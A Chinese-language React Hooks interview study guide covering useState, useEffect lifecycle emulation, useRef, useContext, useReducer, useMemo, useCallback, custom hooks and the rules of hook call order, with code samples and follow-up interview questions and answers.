  • 计数器按钮一次点击会连续执行两次 setCount(count + 1),测试同学预期增加两次却只看到一次;你会怎样解释并修改代码?

    两次调用读取的是本次渲染闭包中的同一个 count,都在请求写入相同的新值,不能依赖它完成连续累加。应使用函数式更新,如 setCount(v => v + 1);若下一步依赖前一步结果,直接读取旧变量会留下旧状态风险。

  • 用户资料页同时维护姓名、地区和通知开关,设计稿要求各字段独立编辑与重置;你会用三个 useState,还是模仿类组件放进一个对象?

    字段更新彼此独立时可拆成多个 useState,每个更新函数只负责对应值,重置逻辑也更清楚。若字段总是成组提交,对象状态也可行,但更新时必须显式保留未变化字段;与类组件 setState 的合并语义混淆会丢数据。

  • 搜索页的初始筛选条件需要解析一份较大的配置,每次输入都会重新渲染;同事把解析表达式直接写进 useState(...) 参数,你会怎样降低无效工作?

    初始值计算较重且只需在首次建立状态时执行,可把初始化逻辑作为函数交给 useState,避免每次渲染都先计算参数。后续筛选变化仍应通过更新函数处理;若初始值本身依赖会变化的属性,惰性初始化不会自动同步它。

  • 聊天页延迟回调执行 setMessages([...messages, newMessage]),并发到达两条消息时偶尔丢一条;你会如何定位这是接口问题还是闭包状态问题?

    先记录每次回调收到的消息及更新前状态,若接口数据完整而两个回调捕获了同一份 messages,丢失来自旧闭包覆盖。改用 setMessages(list => [...list, newMessage]) 基于最新状态更新;消息去重与顺序仍需额外规则。

  • 类组件里一个 setState 同时修改 count 和 name,迁移后写成两个 useState;评审担心会破坏原子性,你会怎样判断是否需要合并?

    若两个值只是在同一点击中更新但业务上可独立理解,分别调用更新函数通常更清晰,React 会负责后续渲染调度。若它们必须始终满足同一不变量,应合并状态或使用更集中的更新模型;拆得过细会让约束散落。

# 用useEffect模拟组件生命周期

⚡ 30 秒速记

  • 让函数组件模拟生命周期

可以通过useEffect的依赖项和返回函数,模拟class组件常见的生命周期行为。 传入空依赖[]时可模拟componentDidMount,传入[a, b]或不写第二个参数时,可覆盖更新相关场景。useEffect返回的函数用于清理副作用,可以模拟componentWillUnmount。本质上它是让纯函数能够处理定时器等函数之外的影响,实际使用时要根据副作用依赖的状态选择依赖项。

让函数组件模拟生命周期

  • 默认函数组件没有生命周期
  • 函数组件是一个纯函数,执行完即销毁,自己无法实现生命周期
  • 使用Effect Hook把生命周期"钩"到纯函数中

useEffect让纯函数有了副作用

  • 默认情况下,执行纯函数,输入参数,返回结果,无副作用
  • 所谓副作用,就是对函数之外造成影响,如设置全局定时器
  • 而组件需要副作用,所以需要有useEffect钩到纯函数中

总结

  • 模拟componentDidMount,useEffect依赖[]
  • 模拟componentDidUpdate,useEffect依赖[a,b]或者useEffect(fn)没有写第二个参数
  • 模拟componentWillUnmount,useEffect返回一个函数
  • 注意useEffect(fn)没有写第二个参数:同时模拟componentDidMount + componentDidUpdate
import React, { useState, useEffect } from 'react'

function LifeCycles() {
    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // // 模拟 class 组件的 DidMount 和 DidUpdate
    // useEffect(() => {
    //     console.log('在此发送一个 ajax 请求')
    // })

    // // 模拟 class 组件的 DidMount
    // useEffect(() => {
    //     console.log('加载完了')
    // }, []) // 第二个参数是 [] (不依赖于任何 state)

    // // 模拟 class 组件的 DidUpdate
    // useEffect(() => {
    //     console.log('更新了')
    // }, [count, name]) // 第二个参数就是依赖的 state

    // 模拟 class 组件的 DidMount
    useEffect(() => {
        let timerId = window.setInterval(() => {
            console.log(Date.now())
        }, 1000)

        // 返回一个函数
        // 模拟 WillUnMount
        return () => {
            window.clearInterval(timerId)
        }
    }, [])

    function clickHandler() {
        setCount(count + 1)
        setName(name + '2020')
    }

    return <div>
        <p>你点击了 {count} 次 {name}</p>
        <button onClick={clickHandler}>点击</button>
    </div>
}

export default LifeCycles

💬 面试官追问

  • 商品页用 useEffect(fn, []) 请求商品详情,但用户在同一路由内从商品 A 切到商品 B 后仍显示旧数据;你会怎样改依赖和清理逻辑?

    请求依赖商品标识时,空数组会让副作用只按首次挂载条件执行,应把商品标识放入依赖数组。切换时还要取消旧请求或忽略过期结果,避免较慢的 A 响应覆盖 B;仅补依赖不能消除竞态。

  • 行情组件每次渲染都执行未传第二个参数的 useEffect,结果建立了多个定时器,页面运行一段时间后日志成倍增加;你会如何修复?

    定时器只需在组件挂载时建立,就应使用空依赖数组,并在 useEffect 返回函数中调用 clearInterval。若定时器读取会变化的状态,还要处理依赖或最新值读取;只限制执行次数可能让回调长期读取旧闭包。

  • 筛选面板要求任一 count 或 name 变化都同步标题,但同事为了减少执行只把 count 放进依赖数组;线上出现名称变化后标题不更新,你会怎样处理?

    副作用实际读取 count 和 name,依赖数组应完整包含二者,否则 name 更新时不会重新同步。若执行成本高,应缩小副作用职责或稳定其输入,而不是删除真实依赖;缺失依赖会把性能优化变成状态一致性故障。

  • 从类组件迁移时,开发者把 componentDidMount、componentDidUpdate 和 componentWillUnmount 各写成一个 useEffect,订阅逻辑分散后偶尔忘记解绑,你会怎样重组?

    应围绕“建立订阅—响应依赖变化—清理订阅”这一业务副作用放在同一个 useEffect 中,并由返回函数完成清理。useEffect 更适合按关注点组织,而不是逐个模仿类生命周期;机械映射会延续原有的逻辑分散。

  • 一个仅根据 props 计算展示文案的组件也写了 useEffect 再把结果存入 state,导致多一次渲染;负责人与评审对“纯计算是否算副作用”意见冲突,你会怎么裁决?

    仅由当前 props 推导展示文案属于渲染计算,不会影响函数外部,通常无需 useEffect 和额外状态。useEffect 应留给请求、定时器或订阅等外部影响;若计算昂贵,可另行评估缓存,但不应用副作用掩盖派生关系。

# 用useEffect模拟WillUnMount时的注意事项

⚡ 30 秒速记

  • useEffect中返回函数

useEffect返回的清理函数不一定只在组件卸载时执行,还可能在下一次effect运行前执行。 当依赖项是[]时,清理函数会在组件销毁时触发,效果等同于componentWillUnmount。如果不写第二个参数,或依赖项是[a, b],状态或props变化引发更新时,也会先执行上一次的清理函数。因此监听好友状态这类场景里,friendId变化时要先结束旧监听,再开始新监听,不能把每次清理都理解成组件卸载。

useEffect中返回函数

  • useEffect依赖项[],组件销毁时执行fn,等于willUnmount
  • useEffect第二个参数没有或依赖项[a,b],组件更新时执行fn,即下次执行useEffect之前,就会执行fn,无论更新或卸载(props更新会导致willUnmount多次执行)
import React from 'react'

class FriendStatus extends React.Component {
    constructor(props) {
        super(props)
        this.state = {
            status: false // 默认当前不在线
        }
    }
    render() {
        return <div>
            好友 {this.props.friendId} 在线状态:{this.state.status}
        </div>
    }
    componentDidMount() {
        console.log(`开始监听 ${this.props.friendId} 的在线状态`)
    }
    componentWillUnMount() {
        console.log(`结束监听 ${this.props.friendId} 的在线状态`)
    }
    // friendId 更新
    componentDidUpdate(prevProps) {
        console.log(`结束监听 ${prevProps.friendId} 在线状态`)
        console.log(`开始监听 ${this.props.friendId} 在线状态`)
    }
}

export default FriendStatus
import React, { useState, useEffect } from 'react'

function FriendStatus({ friendId }) {
    const [status, setStatus] = useState(false)

    // DidMount 和 DidUpdate
    useEffect(() => {
        console.log(`开始监听 ${friendId} 在线状态`)

        // 【特别注意】
        // 此处并不完全等同于 WillUnMount
        // props 发生变化,即更新,也会执行结束监听
        // 准确的说:返回的函数,会在下一次 effect 执行之前,被执行
        return () => {
            console.log(`结束监听 ${friendId} 在线状态`)
        }
    })

    return <div>
        好友 {friendId} 在线状态:{status.toString()}
    </div>
}

export default FriendStatus

💬 面试官追问

  • 好友列表页同时展示多个 FriendStatus,你没有给 useEffect 传依赖数组,父组件每次输入搜索词都会重渲染;为什么日志会反复出现“结束监听”和“开始监听”,这算组件卸载吗?

    这不是组件反复卸载,而是无依赖数组的 effect 每次渲染后都会重新执行,并在下一次执行前先调用上一次的清理函数。若清理函数会退订连接,这种写法将产生无意义的重复退订和订阅,应根据实际依赖补上依赖数组。

  • 聊天详情页根据路由切换 friendId,要求始终只监听当前好友;你会怎样填写依赖并组织订阅与退订代码?

    应把 friendId 放入依赖数组,在 effect 中订阅当前 friendId,并让返回函数退订同一次执行捕获的 friendId。路由切换时 React 会先清理旧好友监听,再建立新监听;卸载时还会清理最后一次监听。

  • 产品后来要求组件挂载后只建立一次全局连接,但页面仍会切换 friendId;直接把依赖改成 [] 会有什么语义变化?

    依赖改成 [] 后,副作用通常只对应挂载和卸载,不会因 friendId 变化重新执行,但闭包中读取的仍是首次渲染时的值。若连接确实与好友无关可这样处理;若订阅目标依赖 friendId,则会继续监听旧对象,不能为减少执行而省略依赖。

  • 线上出现切换好友后仍收到旧好友状态的故障,日志显示新监听已建立;你会优先核对清理函数里的哪些值和调用链?

    先核对每次订阅和退订使用的 friendId 是否成对,并确认返回函数真正调用了对应监听接口的取消方法。再检查 effect 是否声明了 friendId 依赖,以及订阅函数引用是否一致;只打印“结束监听”并不代表底层监听已经解除。

  • 同事坚持“返回函数就是 componentWillUnmount”,你会如何用一次 friendId 更新说明两者不能直接画等号?

    把 friendId 从 A 更新为 B 时,上一次 effect 的返回函数会先清理 A,随后新 effect 再订阅 B,此时组件并未卸载。只有依赖为 [] 且副作用不重跑时,清理时机才近似卸载阶段;更准确的说法是它负责清理上一轮副作用。

# useRef和useContext

⚡ 30 秒速记

    1. useRef

useRef用于保存可变引用或获取 DOM 节点,useContext用于跨层级读取共享数据。 useRef返回的对象通过 current访问内容,例如把它绑定到按钮的ref后,可以在useEffect中拿到对应节点。useContext则读取最近一层Context.Provider提供的值,适合主题颜色这类需要被后代组件共同使用的数据。简单来说,前者解决“引用什么”,后者解决“共享什么”,用途并不相同。

1. useRef

import React, { useRef, useEffect } from 'react'

function UseRef() {
    const btnRef = useRef(null) // 初始值

    // const numRef = useRef(0)
    // numRef.current

    useEffect(() => {
        console.log(btnRef.current) // DOM 节点
    }, [])

    return <div>
        <button ref={btnRef}>click</button>
    </div>
}

export default UseRef

2. useContext

import React, { useContext } from 'react'

// 主题颜色
const themes = {
    light: {
        foreground: '#000',
        background: '#eee'
    },
    dark: {
        foreground: '#fff',
        background: '#222'
    }
}

// 创建 Context
const ThemeContext = React.createContext(themes.light) // 初始值

function ThemeButton() {
    const theme = useContext(ThemeContext)

    return <button style={{ background: theme.background, color: theme.foreground }}>
        hello world
    </button>
}

function Toolbar() {
    return <div>
        <ThemeButton></ThemeButton>
    </div>
}

function App() {
    return <ThemeContext.Provider value={themes.dark}>
        <Toolbar></Toolbar>
    </ThemeContext.Provider>
}

export default App

💬 面试官追问

  • 表单页用 const countRef = useRef(0) 保存点击次数,事件里执行 countRef.current++,但按钮旁的数字一直不变;这是赋值失败还是渲染机制不同?

    赋值通常已经生效,但修改 ref.current 不会触发组件重新渲染,所以页面仍显示上一次渲染结果。需要驱动视图的数据应放进 state;useRef 更适合保存 DOM 节点或跨渲染保留、但不要求立即展示的可变值。

  • 弹窗打开后要让搜索框自动聚焦,团队准备通过 document.querySelector 查节点;如果页面同时存在多个弹窗,你会怎样用 useRef 落地?

    应为每个搜索框创建独立 ref 并绑定到目标元素,在挂载后的 effect 中通过 ref.current 操作对应节点。这样不会依赖全局选择器或重复类名;仍需判断节点是否存在,因为首次渲染前以及条件节点未出现时 current 可能为空。

  • 主题切换页有几十个深层按钮,ThemeContext.Provider 的 value 从浅色对象切到深色对象;哪些组件会拿到新值,未被 Provider 包裹的按钮又读什么?

    调用 useContext(ThemeContext) 的后代消费者会读取最近一层 Provider 提供的新主题,并随其值变化重新渲染。没有匹配 Provider 的消费者读取 createContext 传入的默认值;默认值只是缺少 Provider 时的后备,不会覆盖上层 Provider。

  • 线上有一个主题按钮始终显示浅色,旁边按钮却已经变成深色;你会沿组件树检查哪些位置,而不是先怀疑 CSS?

    先确认异常按钮调用的是同一个 ThemeContext,并检查它是否实际位于目标 Provider 的后代树中,以及中间是否存在另一个 Provider 覆盖了值。再查看按钮读取的 foreground、background 是否来自 useContext 返回值;若未被包裹,它会稳定使用默认浅色主题。

  • 评审时有人建议把高频变化的输入内容也塞进页面级 Context,另一个人主张全部改用 useRef;你会怎样划分两者职责?

    需要跨层级共享且变化后要更新界面的值适合 Context,单个组件持有 DOM 或无需触发视图更新的可变值适合 useRef。高频值放入宽范围 Provider 会让消费者跟随更新,而放进 ref 又不会自动刷新页面;应按共享范围和渲染需求拆分。

# useReducer能代替redux吗

⚡ 30 秒速记

  • useReducer是useState的代替方案,用于state复杂变化

useReducer不能直接代替Redux,两者解决的状态管理范围不同。 useReducer更像useState的替代方案,适合在单个组件内通过reducer和dispatch处理较复杂的状态变化。组件之间如果要传递这些状态,仍然需要借助props;而Redux面向全局状态管理,适合多个组件共享数据。我一般会按状态影响范围选择,局部复杂状态用useReducer,跨组件共享则不能只靠它。

  • useReducer是useState的代替方案,用于state复杂变化
  • useReducer是单个组件状态管理,组件通讯还需要props
  • redux是全局的状态管理,多组件共享数据
import React, { useReducer } from 'react'

const initialState = { count: 0 }

const reducer = (state, action) => {
    switch (action.type) {
        case 'increment':
            return { count: state.count + 1 }
        case 'decrement':
            return { count: state.count - 1 }
        default:
            return state
    }
}

function App() {
    // 很像 const [count, setCount] = useState(0)
    const [state, dispatch] = useReducer(reducer, initialState)

    return <div>
        count: {state.count}
        <button onClick={() => dispatch({ type: 'increment' })}>increment</button>
        <button onClick={() => dispatch({ type: 'decrement' })}>decrement</button>
    </div>
}

export default App

💬 面试官追问

  • 一个计数器组件只有加减两个动作,同事因为看见 dispatch 和 reducer 就说它已经等价于 Redux;你会用组件卸载和兄弟组件读状态的现象反驳吗?

    这里的 useReducer 状态属于调用它的组件,组件卸载后该局部状态也随实例结束,兄弟组件不能天然共享。它与 Redux 都采用 action 驱动的 reducer 形式,但相似的 API 形态不等于相同的全局状态管理范围。

  • 订单编辑器包含商品、优惠和地址等多种状态转换,但数据只服务当前页面组件;你会怎样组织 useReducer,避免继续堆叠多个 useState?

    可把相关状态合并为一个结构,用明确的 action.type 描述增加商品、修改地址等变化,并让 reducer 根据旧状态返回新状态。这样复杂转换集中且可追踪;若不同状态彼此独立,强行合并也会增加 action 和分支维护成本。

  • 需求扩展后,页头购物车角标、商品页和结算页都要读取同一份数据,团队仍坚持只在商品页调用一次 useReducer;数据如何跨组件传递,会遇到什么边界?

    单次 useReducer 产生的状态和 dispatch 只能从持有它的组件向下通过 props 传递,不能让任意兄弟或跨页面组件自动读取。可以提升状态并继续传递,但层级和共享范围扩大后通信成本会上升,此时才需要评估全局状态方案。

  • 线上点击未知操作后计数器突然变成 undefined,reducer 的 switch 新增了分支;你会先检查返回值还是 dispatch 调用方?

    先检查每个 reducer 分支是否都返回完整的新状态,并确认 default 返回原 state,因为漏写返回值会直接破坏后续渲染。再核对调用方的 action.type 和字段是否匹配;未知 action 本应保持原状态,而不是清空状态。

  • 后台系统只有一个复杂筛选面板,架构评审却要求统一接入 Redux;你会依据什么选择 useReducer 或全局状态管理?

    若状态只属于筛选面板且主要解决复杂转换,useReducer 已能集中更新逻辑,接入全局方案会扩大依赖和维护面。若多个远距离组件必须共享并共同更新该状态,Redux 的全局管理定位更匹配;选择关键是状态范围,不是 reducer 是否复杂。

# 使用useMemo做性能优化

⚡ 30 秒速记

  • 状态变化,React会默认更新所有子组件

useMemo可以缓存计算结果或对象引用,配合React.memo避免无关状态变化引起子组件更新。 父组件状态变化时会重新渲染,如果每次都创建新的对象,即使内容没变,子组件收到的props引用也会变化。把对象放进useMemo并声明依赖后,依赖不变时会复用同一引用,React.memo的浅比较才有机会拦住渲染。它需要和React.memo配合才对这个场景生效,依赖项也要与对象实际使用的数据保持一致。

  • 状态变化,React会默认更新所有子组件
  • class组件使用shouldComponentUpdate和PureComponent优化
  • Hooks中使用useMemo缓存对象,避免子组件更新
  • useMemo需要配合React.memo使用才生效
import React, { useState, memo, useMemo } from 'react'

// 子组件
// function Child({ userInfo }) {
//     console.log('Child render...', userInfo)

//     return <div>
//         <p>This is Child {userInfo.name} {userInfo.age}</p>
//     </div>
// }
// 类似 class PureComponent ,对 props 进行浅层比较
const Child = memo(({ userInfo }) => {
    console.log('Child render...', userInfo)

    return <div>
        <p>This is Child {userInfo.name} {userInfo.age}</p>
    </div>
})

// 父组件
function App() {
    console.log('Parent render...')

    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // const userInfo = { name, age: 20 }
    // 用 useMemo 缓存数据,有依赖
    // useMemo包裹后返回的对象是同一个,没有创建新的对象地址,不会触发子组件的重新渲染
    const userInfo = useMemo(() => {
        return { name, age: 21 }
    }, [name])

    return <div>
        <p>
            count is {count}
            <button onClick={() => setCount(count + 1)}>click</button>
        </p>
        <Child userInfo={userInfo}></Child>
    </div>
}

export default App

💬 面试官追问

  • 父组件的计数器每点一次都会重渲染,传给 React.memo 子组件的 userInfo 每次都写成 { name, age: 21 };字段没变,子组件为什么仍打印渲染日志?

    对象字面量在每次父组件渲染时都会产生新引用,而 React.memo 默认对 props 做浅比较,因此会把 userInfo 判断为变化。用 useMemo 按 name 缓存对象后,计数变化时可保持引用稳定;单独缓存对象并不会阻止普通子组件渲染。

  • 用户资料页同时有 count 和 name 两个状态,只希望改名时更新资料卡;useMemo 的依赖应该怎样写,漏掉或多写会分别发生什么?

    返回 { name, age: 21 } 的计算依赖 name,因此依赖数组应包含 name,不必包含无关的 count。漏掉 name 会让子组件继续读取旧名字,多写 count 则会在计数变化时重建对象,失去稳定引用带来的跳过渲染机会。

  • 设计改动后 age 也变成可编辑状态,但代码仍是 useMemo(() => ({ name, age }), [name]);页面会出现什么现象,你会怎样修正?

    修改 age 后缓存对象可能不会重新计算,资料卡会继续展示旧年龄,因为依赖数组没有覆盖计算所读取的值。应把 age 加入依赖;若对象构造本身很简单且没有需要稳定引用的 memo 子组件,也可移除这层缓存以降低复杂度。

  • 线上反馈资料卡偶尔不更新,父组件日志显示 name 已变化,子组件被 React.memo 包裹;你会按什么顺序检查引用和依赖?

    先确认 useMemo 的依赖包含 name,并检查是否直接修改了原对象而没有产生符合预期的新值。再确认传给子组件的确是缓存后的 userInfo,而非渲染中另建的对象;最后检查子组件比较逻辑,错误的自定义比较也可能跳过必要更新。

  • 列表页有大量轻量展示项,同事提议给所有对象都套 useMemo;你会如何判断它与 React.memo 是否值得保留?

    只有当稳定对象引用能让 React.memo 子组件跳过有意义的重复渲染时,这组优化才产生直接价值。useMemo 自身也增加依赖维护和缓存成本,应先观察实际重渲染来源;对便宜组件或始终变化的依赖,缓存可能只有复杂度没有收益。

# 使用useCallback做性能优化

⚡ 30 秒速记

  • Hooks中使用useCallback缓存函数,避免子组件更新

useCallback用于缓存函数引用,配合React.memo可以避免子组件因函数地址变化而重复更新。 父组件每次渲染时,普通函数都会重新创建,传给子组件后会被浅比较判断为新的props。用useCallback包裹函数并设置依赖后,依赖不变时会复用原来的函数引用,从而让React.memo有机会跳过渲染。这个优化主要针对函数作为props传递的场景,单独使用useCallback并不能保证子组件不更新。

  • Hooks中使用useCallback缓存函数,避免子组件更新
  • useCallback需要配合React.memo使用才生效
import React, { useState, memo, useMemo, useCallback } from 'react'

// 子组件,memo 相当于 PureComponent
const Child = memo(({ userInfo, onChange }) => {
    console.log('Child render...', userInfo)

    return <div>
        <p>This is Child {userInfo.name} {userInfo.age}</p>
        <input onChange={onChange}></input>
    </div>
})

// 父组件
function App() {
    console.log('Parent render...')

    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // 用 useMemo 缓存数据
    const userInfo = useMemo(() => {
        return { name, age: 21 }
    }, [name])

    // function onChange(e) {
    //     console.log(e.target.value)
    // }
    // 用 useCallback 缓存函数,避免在组件多次渲染中多次创建函数导致引用地址不一致
    const onChange = useCallback(e => {
        console.log(e.target.value)
    }, [])

    return <div>
        <p>
            count is {count}
            <button onClick={() => setCount(count + 1)}>click</button>
        </p>
        <Child userInfo={userInfo} onChange={onChange}></Child>
    </div>
}

export default App

💬 面试官追问

  • 搜索页父组件更新计数时,传给 React.memo 输入框的内联 onChange={e => console.log(e.target.value)} 会让子组件继续渲染;函数内容没变,为什么比较仍失败?

    每次父组件渲染都会创建新的函数对象,React.memo 浅比较时会发现 onChange 引用变化,因此无法跳过子组件渲染。用 useCallback 缓存该回调可保持引用稳定,但只有子组件存在基于引用的跳过机制时才有直接效果。

  • 商品编辑页的回调需要把输入值与当前 productId 一起提交,你会怎样设置 useCallback 依赖,避免切换商品后仍提交到旧商品?

    回调读取了 productId,依赖数组就应包含 productId,使切换商品后生成捕获新编号的函数。写成 [] 虽然引用长期稳定,却会保留首次渲染的旧值;稳定性不能以业务数据过期为代价。

  • 原本只打印输入值的 onChange 后来增加了对 name 的读取,但依赖仍是 [];测试发现改名后日志还是旧名称,这与 React.memo 有关吗?

    旧名称来自 useCallback 的闭包和错误依赖,不是 React.memo 本身造成的。应把 name 加入依赖,让回调随名称变化更新;代价是该变化会产生新函数引用,并可能触发依赖此回调的 memo 子组件重新渲染,这是必要更新。

  • 线上输入框偶尔调用旧的筛选条件,代码里大量使用 useCallback;你会先查哪些闭包读取和依赖项?

    先列出回调内部读取的 props、state 和外部函数,逐一核对依赖数组是否完整,再复现条件变化后回调是否重建。还要确认子组件实际调用的是最新传入的函数;仅看到函数引用稳定不能证明逻辑正确,过度追求稳定容易隐藏旧闭包。

  • 性能评审中,一方要求所有事件处理器都用 useCallback,另一方准备全部删除;在普通按钮和 memo 子组件之间你会如何取舍?

    普通按钮不会仅因拿到新函数引用就自动获得明显优化,因此没有必要机械缓存每个处理器。若函数传给 React.memo 子组件且父组件存在无关更新,稳定引用才可能帮助跳过渲染;仍应结合实际渲染成本判断,并承担依赖维护开销。

# 什么是自定义Hook

⚡ 30 秒速记

  • 开发和使用第三方Hooks

自定义 Hook 是把组件中的通用功能封装起来,供不同函数组件复用的一种方式。 它可以组合 useState、useEffect 等能力,并把状态或操作结果返回给调用方。比如把网络请求封装成 useAxios,统一返回加载状态、数据和错误,组件只负责展示。类似的鼠标位置监听也能独立封装,同时还可以直接使用第三方 Hooks,从而减少逻辑耦合。

  • 封装通用的功能
  • 开发和使用第三方Hooks
  • 自定义Hooks带来无限的拓展性,解耦代码
import { useState, useEffect } from 'react'
import axios from 'axios'

// 封装 axios 发送网络请求的自定义 Hook
function useAxios(url) {
    const [loading, setLoading] = useState(false)
    const [data, setData] = useState()
    const [error, setError] = useState()

    useEffect(() => {
        // 利用 axios 发送网络请求
        setLoading(true)
        axios.get(url) // 发送一个 get 请求
            .then(res => setData(res))
            .catch(err => setError(err))
            .finally(() => setLoading(false))
    }, [url])

    return [loading, data, error]
}

export default useAxios

// 第三方 Hook
// https://nikgraf.github.io/react-hooks/
// https://github.com/umijs/hooks
import { useState, useEffect } from 'react'

function useMousePosition() {
    const [x, setX] = useState(0)
    const [y, setY] = useState(0)

    useEffect(() => {
        function mouseMoveHandler(event) {
            setX(event.clientX)
            setY(event.clientY)
        }

        // 绑定事件
        document.body.addEventListener('mousemove', mouseMoveHandler)

        // 解绑事件
        return () => document.body.removeEventListener('mousemove', mouseMoveHandler)
    }, [])

    return [x, y]
}

export default useMousePosition
// 使用
function App() {
    const url = 'http://localhost:3000/'
    // 数组解构
    const [loading, data, error] = useAxios(url)

    if (loading) return <div>loading...</div>

    return error
        ? <div>{JSON.stringify(error)}</div>
        : <div>{JSON.stringify(data)}</div>

    // const [x, y] = useMousePosition()
    // return <div style={{ height: '500px', backgroundColor: '#ccc' }}>
    //     <p>鼠标位置 {x} {y}</p>
    // </div>
}

💬 面试官追问

  • 搜索页把请求、加载态和错误态抽成普通函数 fetchData,三个组件调用后却无法共享状态生命周期;它与 useAxios(url) 这样的自定义 Hook 本质差在哪里?

    fetchData 只复用请求动作,自定义 Hook 则能组合 useState、useEffect,复用状态、副作用及其生命周期。它仍不是共享状态容器,每个组件调用 useAxios 都会建立独立状态并可能各自发起请求。

  • 后台列表的十几个页面都要处理 loading、data、error,你会怎样设计 useAxios 的输入、返回值和清理逻辑,避免页面继续复制请求代码?

    可让 Hook 接收稳定的请求参数,并返回语义明确的 loading、data、error,把请求触发和状态流转集中起来。若参数变化会重发请求,还应处理旧请求晚到和卸载后回写;仅照示例发请求不足以覆盖竞态。

  • 商品详情页原先只按 url 请求,后来增加筛选参数、手动刷新和取消请求;继续扩展一个 useAxios(url),还是拆成更小的 Hooks?

    若这些能力共同描述一次请求生命周期,可扩展输入配置并提供刷新操作;若缓存、筛选和请求策略独立变化,应拆成可组合的 Hooks。接口过度通用会让依赖和返回值难以理解,拆得过细又会把协调逻辑推回组件。

  • 用户快速切换十个商品时,旧接口最后返回并覆盖新商品数据,而 useEffect 已经依赖 [url];你会从自定义 Hook 内部怎么定位和修复?

    [url] 只能保证参数变化时重新执行副作用,不能保证响应按发起顺序完成。应记录当前请求、在清理函数中取消或标记失效,并只接纳最新请求结果;若底层客户端不支持取消,至少要用请求标识阻止旧结果回写。

  • 设计系统要统一卡片外观,同时复用鼠标坐标监听;评审中有人主张全部用自定义 Hook,你会怎样划分 Hook 与组件组合的职责?

    鼠标监听属于状态和副作用逻辑,适合封装为 useMousePosition,并在清理函数中解绑事件。卡片外观属于渲染结构,应由组件或 children 组合复用;Hook 不返回可替代组件树的结构,否则职责会重新耦合。

# 使用Hooks的两条重要规则

⚡ 30 秒速记

  • 只能用于函数组件和自定义Hook中,其他地方不可以

Hooks 只能在函数组件或自定义 Hook 中调用,并且必须写在顶层。 不要把它们放进条件判断或循环,否则不同渲染过程中的调用顺序可能发生变化。简单来说,可以根据条件决定渲染什么,但不能根据条件决定是否调用某个 Hook。工程中可以启用 eslint-plugin-react-hooks,尽早检查这类不合规写法。

  • 只能用于函数组件和自定义Hook中,其他地方不可以
  • 只能用于顶层代码,不能在判断、循环中使用Hooks
  • eslint插件eslint-plugin-react-hooks可以帮助检查Hooks的使用规则

💬 面试官追问

  • 订单页为了少执行一次初始化,把 useState 写进 if (hasOrder),本地首次进入正常、切换空订单后却出现 Hook 顺序错误;为什么不能把它当作普通函数调用?

    Hook 必须在函数组件或自定义 Hook 的顶层无条件调用,条件变化会让不同渲染中的调用序列不一致。应始终调用 useState,再在状态值、渲染分支或副作用内部判断;提前返回也必须放在相关 Hooks 之后。

  • 一个表格按 100 个动态列在 map 中调用 useColumnState,产品还允许拖拽增删列;你会怎样重构,既保留每列状态又遵守规则?

    不能让 Hook 调用次数直接跟动态列数量变化,可把每列提取成独立组件,由该组件顶层调用 useColumnState。也可在父组件用单个 Hook 管理以列标识为键的状态映射,但要明确删除列时的清理与状态保留策略。

  • 权限页目前所有角色看到相同模块,团队因此在 if (isAdmin) 中调用 useEffect;若下季度支持运行时切换角色,这段代码会发生什么变化?

    运行时切换角色会改变该次渲染是否调用 useEffect,从而破坏稳定的 Hook 顺序,即使当前角色固定时看似正常也不合法。应无条件调用 useEffect,在回调内部判断权限,并把相关权限值纳入依赖。

  • 线上只在用户从 A/B 实验组切到对照组时出现 Rendered fewer hooks than expected,代码没有明显循环;你会重点检查哪些控制流?

    应检查条件分支、Hook 之前的提前 return、短路表达式,以及被当作普通函数直接调用且内部含 Hook 的组件函数。再用 eslint-plugin-react-hooks 扫描规则违规;若调用被动态封装隐藏,仍需人工核对每次渲染的调用序列。

  • 代码评审中有人提议关闭 eslint-plugin-react-hooks,理由是条件分支永远不会变化;你会接受这种约束换取更简短的页面代码吗?

    不应依赖业务口头约束绕过顶层调用规则,因为后续权限、实验或数据条件变化就可能改变序列并损坏状态对应关系。保留插件并重构控制流更可靠;插件能辅助检查,但不能替代对动态调用和间接调用的审查。

# 为何Hooks要依赖于调用顺序

⚡ 30 秒速记

    1. 无论是 render 还是 re-render,Hooks 调用顺序必须一致

Hooks 依赖固定的调用顺序,是因为每次初次渲染和重新渲染都要按相同位置对应各自的状态与副作用。 例如两个 useState 必须始终保持 count 在前、name 在后,状态才能正确对应。若把 Hook 放进条件或循环,条件变化后调用数量或次序也会变化,进而让状态管理失效。实际开发中应始终在组件顶层调用,再把条件判断放到 Hook 内部或渲染逻辑中。

1. 无论是 render 还是 re-render,Hooks 调用顺序必须一致

import React, { useState } from 'react';

function Counter() {
    // Hooks 的调用顺序在每次 render 中必须一致
    const [count, setCount] = useState(0);
    const [name, setName] = useState('张三');

    // 每次重新渲染时,Hooks 的顺序保持不变
    return (
        <div>
            <p>Count: {count}</p>
            <button onClick={() => setCount(count + 1)}>Increment</button>
            <input value={name} onChange={(e) => setName(e.target.value)} />
        </div>
    );
}

export default Counter;

无论是初次渲染还是重新渲染,useState 的调用顺序始终是 count 在前,name 在后

2. 如果 Hooks 出现在循环、判断里,则无法保证顺序一致

import React, { useState } from 'react';

function ConditionalHooks({ shouldUseHook }) {
    const [value1, setValue1] = useState(0);
    
    // 条件语句中调用 Hooks 会导致顺序不一致
    if (shouldUseHook) {
        const [value2, setValue2] = useState(1); // 这会导致问题
    }

    return (
        <div>
            <p>Value 1: {value1}</p>
            {shouldUseHook && <p>Value 2: {value2}</p>} {/* 这里会报错 */}
            <button onClick={() => setValue1(value1 + 1)}>Increment Value 1</button>
        </div>
    );
}

export default ConditionalHooks;

useState 的调用依赖于 shouldUseHook 的值。如果这个值在不同的渲染中变化,Hooks 的调用顺序就会不一致,导致 React 的状态管理失效

3. Hooks 严重依赖调用顺序

import React, { useState, useEffect } from 'react';

function SequentialHooks() {
    const [first, setFirst] = useState('First');
    const [second, setSecond] = useState('Second');

    useEffect(() => {
        console.log(`First: ${first}`); // 依赖于 Hooks 的顺序
    }, [first]);

    useEffect(() => {
        console.log(`Second: ${second}`); // 依赖于 Hooks 的顺序
    }, [second]);

    // 假设这里有某种条件使得 Hooks 的调用顺序发生变化
    // 例如如果我们使用了条件语句或循环,会导致状态不一致

    return (
        <div>
            <p>{first}</p>
            <p>{second}</p>
            <button onClick={() => setFirst('Updated First')}>Update First</button>
            <button onClick={() => setSecond('Updated Second')}>Update Second</button>
        </div>
    );
}

export default SequentialHooks;

